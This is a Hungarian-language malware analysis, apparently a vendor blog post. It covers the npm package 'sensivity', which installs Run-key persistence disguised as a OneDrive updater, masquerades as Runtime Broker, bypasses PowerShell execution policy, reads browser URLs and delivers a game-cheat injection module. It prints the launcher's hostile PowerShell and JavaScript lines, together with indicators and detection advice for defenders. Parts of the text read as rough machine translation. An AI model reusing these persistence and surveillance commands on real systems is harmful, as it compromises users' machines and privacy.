PairLoop: Rejtett távvezérlő panel az npm csomagban

PairLoop: Egy npm csomag, hetven verzió és egy rejtett Windows távvezérlő panel

TL, DR

Az npm csomag érzékenység „Érzékenységvezérlő Panelként” írja le magát. Windows rendszeren távirányító és megfigyelő eszközként viselkedik.

A belépési pontja, launcher.js, átnevezi a saját folyamatát Runtime Broker-re, és ír egy automatikusan induló Run-kulcs értéket, melynek neve OneDriveUpdate amely egy rejtett VBScript segítségével újraindítja a csomagot, elindítja a PowerShellt a következővel: -ExecutionPolicy Bypass, majd kiértékel egy 171 KB-os obfuszkált szerver hasznos adatot egy 6.87 MB-os natív modullal együtt, sens.node.

Egy telefonpárosítási vezérlőpanelt szolgál ki a 3000-es TCP porton, és a Windows UIAutomation segítségével beolvassa az aktív böngésző címsorának URL-címét, miközben egyetlen fixen kódolt YouTube-videót keres.

Két olyan rész, ami korábban fekete dobozként maradt, most megoldódott. Az elhomályosított szerver, server.obf.js, egy obfuscator.io RC4 karakterlánc-tömb sémát használ; a dekóder offline újraimplementálása (JavaScript futtatása nélkül) egyetlen külső végpontot állít vissza — https://izopi.com/check.php — egy beágyazott RSA nyilvános kulccsal együtt, amelyet az aláírt licencválaszok ellenőrzésére használnak.

A natív modul, sens.node, nincs becsomagolva: az importtáblája és a beágyazott karakterláncok DirectX 11 / Dear ImGui játékon belüli overlay-ként azonosítják, amely aimbot, ESP (wall-hack) és triggerbot funkciókat biztosít, távoli folyamatbefecskendezés és memória-olvasás/írás által vezérelve.

A benne lévő karakterláncok jármű entitásokra és a GTA V / FiveM-mel összhangban lévő térképhelyszínekre hivatkoznak. Az npm csomag a natív modul kézbesítési és perzisztencia-burkolója.

A meghatározó jel működési jellegű, nem technikai: egyetlen anonim kiadó nagyjából hetven verziót tett közzé egyetlen csomagból — 2.5.0 - 2.5.69 – néhány napon keresztül, mindegyik napon ugyanazt a hordozórakétát hordozva.

Nincsenek telepítések hooksA hasznos adat csak a csomag indításakor fut.

A támadás: Hogyan működik

A sensivity tíz fájlt szállít. A package.json ritka: nincs repository mező, nincs licenc, egy fő és két bin alias (sensivity, sens), amelyek mind a launcher.js-re mutatnak, valamint egy node launcher.js indító szkript. Nincs utótelepítés vagy előtelepítés. Az npm telepítéskor semmi sem indul el. Az alább leírt viselkedés akkor fut le, amikor a felhasználó elindítja a csomagot – a bin shim, a start szkript vagy egy require segítségével.

A tarball tartalmazza az indítófájlt, egy obfuszkált szervert, a natív modult, egy Visual Basic szkriptet és egy public/web könyvtárat a vezérlőpulthoz. A launcher.js az olvasható orchestrátor; a futásidejű logika a két betöltött blobban található – egy obfuszkált szerverben és egy lefordított natív modulban, amelyeket az alábbiakban tárgyalunk.

 Folyamatmaszkolás és egy hamis OneDrive frissítő

A végrehajtás korai szakaszában a launcher.js kétszer állítja be a saját folyamatnevét:

   javascript process.title = 'Runtime Broker'; 

A Runtime Broker egy legitim Windows folyamat (RuntimeBroker.exe), amely alkalmazásengedélyeket közvetít. Ha egy Node folyamatot átnevez a folyamatnak megfelelően, a Feladatkezelőre pillantva semmi szokatlant nem láthatunk.

A perzisztencia PowerShell-en keresztül íródik, nem pedig közvetlen regisztrációs API-n keresztül:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Az automatikus indítási érték neve OneDriveUpdate, és nem közvetlenül a csomagra mutat. A wscript.exe fájlra mutat, amely a mellékelt OneDrive.Standalone.Updater.vbs fájlt futtatja. Ez a szkript egy rejtett ablakban indítja újra a node launcher.js fájlt. Mind a Run-kulcs neve, mind a VBScript fájlnév a Microsoft márkajelzését kölcsönzi, így az automatikus indítási bejegyzés egy rutinszerű OneDrive feladatként olvasható.

PowerShell végrehajtási házirend-megkerüléssel

Az indítóprogram ismételten a PowerShellnek küldi a parancsot. A szkennerek által kritikusként megjelölt fogadó egy generált .ps1 fájl, amelyben a végrehajtási szabályzat letiltva van:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Az ExecutionPolicy Bypass eltávolítja a helyi szkriptaláírás-ellenőrzést az adott meghíváshoz. A létrehozott szkriptek a következő szakaszban ismertetett böngésző-felügyeleti és ablakészlelési feladatokat kezelik.

Az obfuszkált szerver és a natív modul

A beállítás után a launcher.js betölti és végrehajtja a valódi hasznos adatát:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

A server.obf.js egy 171 KB-os _0x-tömb obfuszkáció – az a JavaScript minta, ahol minden karakterláncot és azonosítót egy index helyettesít egy összekevert tömbben, majd futásidőben dereferenciál. A séma az obfuscator.io által létrehozott RC4 variáns: egyetlen dekódoló függvény base64-dekódol egy tömbbejegyzést, majd RC4-dekódolja azt egy hívásonkénti kulccsal. A dekódoló külön szkriptben történő újraimplementációja – csak az újraimplementáció futtatása a kinyert 821 bejegyzésből álló karakterlánc-tömbön, soha a csomag saját JavaScriptje – tisztán bontja ki azt. Ami felszínre kerül, az szerény, de de...cisive: egy külső URL, https://izopi.com/check.php`, hozzárendelve egy LICENSE_URL konstanshoz; egy beágyazott RSA PUBLIC_KEY_PEM`; a helyi panel útvonalai a /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off és /trigger/status; valamint a child_process, crypto és a [Sensivity] sens.node betöltött karakterláncok – az utolsó pontosan az a naplósor, amelyet az indító átír a betöltött programmodulba. A végpont egy licencellenőrzés: a kliens posztol egy azonosítót (a kódolt szerver egy Discord ID-t formáz: %s karakterlánc), és az RSA kulcs ellenőrzi a szerver aláírt válaszát.

A sens.node egy 6.87 MB-os, lefordított natív kiegészítő, amely nincs csomagolva – a section entropy az 5.6–6.6-os tartományban található, a PE import és export táblái pedig épek, így a képességei közvetlenül olvashatók. Exportálja a napi_register_module_v1-et, a standard Az N csomópont belépési pontja az API-nak, így az eval'd szerver egy egyszerű require-rel tölti be. Az importtáblája a tell. A KERNEL32-ből kiolvassa az OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules és Process32First/NextW értékeket – ez a kanonikus halmaz egy másik folyamat megkereséséhez, a benne lévő memória lefoglalásához, valamint a memória olvasásához vagy írásához. A USER32-ből kiolvassa a GetAsyncKeyState, GetKeyState, mouse_event és SetCursorPos értékeket; összekapcsolja a d3d11.dll, D3DCOMPILER_43 és dwmapi fájlokat egy képernyőn megjelenő átfedéshez, valamint a teljes WINHTTP készletet a hálózati hívásokhoz. A beágyazott karakterláncok egyértelműen megnevezik a funkciókészletet: Aimbot engedélyezése, Aimbot látómező, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, és a Dear ImGui banner: Dear ImGui 1.91.3 WIP. A helyszín- és entitáskarakterláncok, mint például a Grapeseed Medical Clinic és a jármű-ESP szókincs, konzisztensek a GTA V / FiveM-mel.

A felosztás tulajdonképpen szándékos: az olvasható launcher.js csak azokat a részeket tartalmazza, amelyeket a szkenner könnyen beolvas – perzisztencia, masquerade, maga az eval hívás –, míg az obfuszkálás elrejti az egyetlen külső hosztot, a futásidejű kapcsolattartókat, a bináris fájl pedig a játékátfedést és a folyamatbefecskendezési logikát tartalmazza. Az indító a vékony, auditálható shell; az obfuszkált szerver elrejti a hálózati identitást; a natív modul a hasznos teher. A bináris fájl importjait és karakterláncait olvasottként írjuk le; nem következtetjük ki belőlük az operátor célját.

 Telefonpárosítási vezérlőpanel a 3000-es porton

Az indítóprogram egy helyi webszervert kezel a 3000-es TCP porton, és egyedülálló szerverként kezeli. Lekérdezi a meglévő figyelőket, és törli azokat a kötés előtt:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

A panel a http://localhost:3000 címen érhető el, egy fixen kódolt LAN tartalék URL-lel: http://192.168.1.16:3000. A public/ könyvtár és a panel viselkedése összhangban van egy QR-párosítási folyamattal: egy telefon beolvas egy kódot, és távoli eszközként csatlakozik a gazdagéphez. Az indítóban nem jelenik meg külső parancs- és vezérlőtartomány titkosítatlanul – de, ahogy a fenti deobfuszkáció is mutatja, egy jelen van az obfuszkált szerveren: az izopi.com licencvégpont. Maga a panel lokális és LAN-hatókörű; az egyetlen kimenő gazdagép ez a licencellenőrzés.

Egy leválasztott felügyelői/munkavállalói modell tartja életben a folyamatot. Az indítóprogram újraindítja magát SENSIVITY_SUPERVISOR és SENSIVITY_WORKER környezeti jelzőkkel, minden gyermek rejtve fut, így egy folyamat leállítása után egy watchdognak kell újraindítania azt.

Böngészőfelügyelet és a YouTube-jel

A legspecifikusabb viselkedés a böngésző monitorozása. A launcher.js PowerShell-t épít, amely a Windows UIAutomation-t arra készteti, hogy beolvassa a futó böngésző címsorát:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

A ValuePattern egy felhasználói felület elemének szöveges tartalmát adja vissza. A böngésző címsorának szerkesztővezérlőjére alkalmazva visszaadja az áldozat által aktuálisan megtekintett URL-címet – böngészőbővítmény, a lemezen lévő profil megérintése és API-hook nélkül. A létrehozott szkript egy $browserNames listát iterál, és kinyeri az előtérben lévő böngésző URL-címét vagy ablakcímét.

Ezt az URL-t egyetlen fixen kódolt célponttal szemben tesztelik:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Az indító egy három másodperces cikluson keresztül lekérdezi a YouTube-ot megjelenítő böngészőablakot, és a generált PowerShell egy Get-YouTubeBrowser / Test-TargetYouTubeUrl párt tartalmaz, amely megegyezik a videóazonosítóval. A megfigyelhető hatás kettős: az aktív böngészési URL-t leolvassa az áldozat képernyőjéről, és a gazdagép interakcióját egy adott YouTube-videóval észleli. Leírjuk a mechanizmust és a célpontot; nem következtetünk belőlük az indítékra.

A címsávból leolvasott adatot a szkenner sensitive_data_enumeration-nek nevezi el – ez egy Process::env és UIAutomation forrás, amely egy hálózatképes futtatókörnyezetet táplál. Önmagában ártalmatlannak tűnik, és csak akkor válik megfigyeléssé, ha az adatok életciklusa nyomon követésre került az UIAutomation forrástól az obfuszkált szerverig.

Idővonal és verziófejlődés

Az érzékenység nem egyszeri feltöltés. A kiadói fiókban nagyjából hetven közzétett verzió található ebből az egyetlen csomagból, és az értékelési időszak alatt folyamatosan érkeztek újak. Az indítóprogram funkcióról funkcióra bővül a 2.5.x verzióban, miközben a tartóssága és a hasznos terhelése változatlan marad.

Dátum (UTC) Megfigyelt verziók Indító állapota
2026-06-02 2.5.8 - 2.5.46 (25) Alap QR-panel indító; Futtatási billentyű megmaradása; obfuszkált szerver kiértékelése.
2026-06-03 2.5.53 - 2.5.61 (6) Ugyanaz az ujjlenyomat; konzolnyom-elnyomás.
2026-06-04 2.5.67, 2.5.68 (2) Hozzáad rögzített YouTube-tevékenységi célt wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Hiánypótló újraközzététel a teljes tartományban; felügyelő/munkás felügyeleti szerv.

A letöltött képviselők – 2.5.0, 2.5.36 és 2.5.69 – közötti indítófájl olvasása négy szintet mutat. A legkorábbi verziók az alap QR-párosításos indítófájlt tartalmazzák. A 2.5.33-as verziótól megjelenik az UIAutomation címsor-összeszedő. A 2.5.58-as verziótól egy felügyelői-felügyeleti réteg kerül hozzáadásra. A 2.5.64-es verziótól a leválasztott felügyelő/munkavégző watchdog teszi teljessé a készletet. Négy dolog sosem változik: a OneDriveUpdate Run kulcs, a OneDrive.Standalone.Updater.vbs dropper, az eval'd server.obf.js és a sens.node natív modul.

A 2026-06-05-ös hullám azért figyelemre méltó, mert újra közzétette az alacsonyabb verziószámokat – 2.5.0-tól 2.5.15-ig –, amelyek a napokkal korábban megerősített verziók alatt vannak. Ennek eredményeképpen egy összefüggő 2.5.x sor jelenik meg a rendszerleíró adatbázisban, minden verzió ugyanazt az indítófájlt hordozza.

A kompromisszum mutatói

Az alábbi indikátorokat közvetlenül a csomag tarballjából olvastuk be. Az olvasható indító csak loopbacket és egyetlen privát LAN-címet tartalmaz; az egyetlen külső hostname, az izopi.com, a server.obf.js offline deobfuszkálásával lett helyreállítva.

típus Mutató Megjegyzések
Csomag npm:sensivity (≈70 változat, 2.5.0-2.5.69) Egyetlen csomagot tartalmazó kiadó; nincs repository; licenc nélküli.
filé launcher.js Olvasható orchestrator; fő és bin cél.
filé server.obf.js (≈171 KB) obfuscator.io RC4 karakterlánc-tömb hasznos adat, betöltési módja: eval(fs.readFileSync(...)).
filé sens.node (≈6.87 MB) PE32+ x86-64 Csomópont N-API kiegészítő; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
filé OneDrive.Standalone.Updater.vbs Rejtett újraindító (node launcher.js).
Hálózat https://izopi.com/check.php Licenc/hitelesítési végpont helyreállítva az obfuszkált szerverről; a beágyazott RSA nyilvános kulcs ellenőrzi a válaszokat.
Képesség OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Távoli folyamatbefecskendezés és memória-olvasási/írási képesség.
Képesség Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui játékfelület, amely aimbot, ESP és triggerbot funkciókat valósít meg.
iktató hivatal HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Az automatikus indítás értéke erre mutat wscript.exe és a VBScript indítót.
folyamat process.title = 'Runtime Broker' Legális Windows Runtime Broker folyamatnak adja ki magát.
viselkedési powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Végrehajtási szabályzat megkerülése a létrehozott PowerShell-szkriptekhez.
viselkedési UIAutomation ValuePattern a böngésző címsorának leolvasása Beolvassa az előtérben lévő böngészőablak URL-címét.
viselkedési Célvideó azonosítója wJWta2lO0Lw; 3 másodperces YouTube-szavazás Rögzített elköteleződés-figyelő jel.
Hálózat http://localhost:3000, tartalék http://192.168.1.16:3000 QR-párosítási vezérlőpult helyileg és helyi hálózaton is elérhető.
Környezet SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Leválasztott felügyeleti folyamat koordinációs jelzői.

Tulajdonítás, hatás és védekezők

A csomagot egyetlen npm fiók tette közzé, amelynek megadott e-mail címe egy ellenőrizetlen Gmail-cím. A fiók mélyen negatív regisztrációs reputációval rendelkezik, csak ezt az egy csomagot tartja karban és teszi közzé, és nincs hozzákapcsolt forráskódú adattára. Az e-mail cím tulajdonjogát nem ellenőriztük, és a kampányt a közzétevő fiókjához rendeljük, nem pedig megnevezett személyhez. Az indító nem rendelkezik titkosított szöveges infrastruktúrával, de az egyetlen külső gazdagép most már ismert: az obfuszkált szerver felveszi a kapcsolatot az izopi.com-mal licencellenőrzés céljából, és a natív modul – amelyet az importtáblájából és karakterláncaiból olvas be, nem pedig fordított utasításról utasításra – egy játékfedvény, amely egy másik folyamat memóriájába injektál és annak memóriájából olvas.

A megfigyelhető hatás azokra a Windows-felhasználókra vonatkozik, akik telepítik és futtatják a Sensivity programot, és egy vezérlőpult-segédprogramot várnak. Ezeken a hosztokon a csomag OneDrive-feladatként álcázott automatikus indítási megmaradást hoz létre, átnevezi magát, hogy egy rendszerfolyamatot utánozzon, beolvassa a felhasználó által böngészett folyamat URL-jét, és elindít egy párosítási panelt, amely a gépet a helyi hálózaton keresztül egy távoli eszközhöz köti. A felügyelő/munkavállalói felügyelet azt jelenti, hogy egyetlen folyamat leállítása nem távolítja el azt; a Run-key bejegyzés túléli az újraindítást. A macOS és a Linux rendszereket nem célozza meg az indító – a megmaradás, a PowerShell és az UIAutomation elérési utak csak Windows-ra érvényesek.

A hetven verziós lemorzsolódás az a trend, amire érdemes odafigyelni. Ha egy csomagot néhány nap alatt több tucatszor újra közzéteszünk, beleértve a már eltávolított verziószámok alatti verziószámok visszatöltését is, az élő másolatot tartja a beállításjegyzékben az eltávolítások között, és meghiúsítja a verzióhoz rögzített tiltólistákat. A sensivity@2.5.61 tiltólistás bejegyzése semmit sem tesz a sensivity@2.5.3 másnapi újraközlése ellen.

A védők a következők alapján cselekedhetnek:

  • A csomagnév bizalmas jellegének teljes blokkolása a registry-proxy és a CI engedélyezőlistákban. Az egyes verziók rögzítése veszít az újraközzététel ütemében; a név a tartós jelző.
  • Keressen egy OneDriveUpdate nevű futtatási értéket, amelynek adatai a wscript.exe függvényt egy felhasználónkénti elérési úton található .vbs fájlra hívják meg. Az eredeti OneDrive frissítő nincs így regisztrálva.
  • Riasztás egy Node.js folyamaton, amelynek a process.title azonosítója Runtime Broker. A valódi bróker a RuntimeBroker.exe, nem egy Node futtatókörnyezet.
  • Jelölje az olyan csomagok npm telepítési idejű lehívásait, amelyek egy lefordított .node kiegészítőt, valamint egy testvér .obf.js fájl eval(fs.readFileSync(…)) metódusát szállítják. Ez a párosítás – átlátszatlan natív bináris fájl betöltve egy obfuszkált szöveges hasznos adat mellé – a strukturális jel itt, függetlenül bármilyen karakterlánc IOC-tól.
  • A 3000-es porton található, váratlan Node-folyamat által létrehozott, helyileg kötött figyelőket gyanúsnak kell tekinteni a felügyelt Windows-végpontokon.
  • Blokkolja vagy riasztást küld a fejlesztői vagy végfelhasználói hosztoktól az izopi.com-ra irányuló kimenő kérésekről; ez a csomag egyetlen külső végpontja, amelyet az obfuszkált szerver a /check.php címen ér el.
  • Bármely csomagban található .node bővítmény esetében a megbízás megadása előtt vizsgáld meg az importálási táblázatát. Az OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread kombináció távoli folyamatbefecskendezés, függetlenül attól, hogy a csomag mit állít magáról; itt egy Direct3D overlay és aimbot/ESP/triggerbot karakterláncok mellett található.

Statikus elemzéshez pipelineAz ítélet alakja tartós a verzióváltozás során: nem hálózati telepítési profil, folyamatnév-hozzárendelés egy ismert rendszerfolyamat-névhez, Run-kulcs írás PowerShellen keresztül, és egy lemezről beolvasott fájl kiértékelése. Ezek egyike sem függ domaintől, IP-címtől vagy verziószámtól, amelyet a következő újraközzététel el tud forgatni.

 Referenciák

[npm: érzékenység] – a itt tárgyalt csomagverzió sorának regisztrációs oldala; eltávolítás jogát fenntartjuk.

sca-tools-software-composition-elemző-eszközök
Szoftverkockázatok rangsorolása, elhárítása és biztosítása
Szerezd meg az ingyenes fiókodat.
Nem szükséges hitelkártya.

Biztosítsa szoftverfejlesztését és -szállítását

az Xygeni termékcsomaggal